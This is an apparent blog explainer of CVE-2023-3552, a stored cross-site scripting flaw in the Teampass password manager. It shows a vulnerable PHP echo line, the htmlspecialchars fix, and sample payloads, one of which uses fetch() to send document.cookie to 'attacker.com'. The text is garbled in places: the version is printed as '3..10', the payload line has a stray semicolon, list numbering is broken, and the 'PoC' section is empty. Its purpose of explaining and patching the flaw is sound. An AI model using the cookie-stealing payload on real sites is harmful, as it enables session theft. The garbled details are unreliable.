Teampass is an open-source, collaborative password manager, popular among teams sharing credentials securely. In June 2023, a significant security vulnerability was disclosed for Teampass versions before 3..10. Known as CVE-2023-3552, this bug concerns improper encoding or escaping of output, which can allow attackers to inject harmful code—especially JavaScript—into the application.

Below, we’ll break down what the vulnerability is, how it can be exploited, provide code snippets, and share references for further reading. Even if you’re not a security pro, stick with us—this is written in simple American English with clear explanations.

What is CVE-2023-3552?

CVE-2023-3552 affects the nilsteampassnet/teampass GitHub repository. In short, Teampass (before v3..10) didn’t properly encode or escape certain outputs sent to users’ browsers. This flaw gave attackers a chance to inject unwanted scripts (like XSS, or Cross-Site Scripting) or manipulate HTML pages, meaning they could steal data or take control of sessions.

User input (like item names or custom fields) gets saved.

2. When viewed, that input is shown in HTML pages or JavaScript code, but isn’t escaped or encoded.
3. If an attacker submits something malicious—let’s say, a bit of JavaScript—it could run in the browser of anyone who views it.

A malicious user adds a password entry with the title

<script>alert('XSS')</script>

If the HTML output of Teampass is not escaped, anyone viewing this entry will trigger the alert pop-up—demonstrating code execution in the browser!

Here’s how the vulnerable code might have looked

// Example: Displaying item name without escaping
echo "<div>" . $_POST['item_label'] . "</div>";

If a user submits this label

<img src=x onerror=alert('pwnd')>

It gets rendered as-is, so the browser executes it.

What’s Missing?

Safe apps escape output like this (in PHP)

echo "<div>" . htmlspecialchars($_POST['item_label'], ENT_QUOTES, 'UTF-8') . "</div>";

Let’s say an attacker creates a new password entry with the following label

<script>fetch('http://attacker.com?cookie='; + document.cookie)</script>

Every time an admin or user views this entry, their browser will send their authentication cookie to the attacker.

2. Steal Session Info

Attackers can use this to steal session tokens, which could let them take over admin accounts, access confidential info, or even lock out users.

3. Trick Other Users

Attackers could create fake forms or overlays to phish credentials, redirect victims to harmful sites, or do anything else JavaScript can perform in the context of the app.

PoC: Proof-of-Concept Exploit

Here’s a step-by-step example to test if your Teampass is vulnerable (do this only in your own safe, test environment):

How to Fix

If you use Teampass, update to version 3..10 or newer. The maintainers closed this hole by properly escaping output using functions like htmlspecialchars() in PHP. Don’t delay—the fix is essential.

References and Resources

- Official Teampass GitHub
- CVE-2023-3552 on NIST
- Teampass Changelog (see 3..10 improvements)
- Basic PHP Output Escaping
- OWASP XSS (Cross Site Scripting) Cheatsheet

Final Words

CVE-2023-3552 is a classic yet dangerous bug: improper escaping lets attackers run JavaScript in your browser. If you’re using Teampass, make sure you’re on version 3..10 or later. Stay aware, and always keep your apps up to date!

Want to learn more or worried your Teampass is at risk?
Check the links above and join the Teampass community for help and updates.

*Security is teamwork—patch early, patch often!*

Timeline

Published on: 07/08/2023 09:15:00 UTC
Last modified on: 07/14/2023 14:39:00 UTC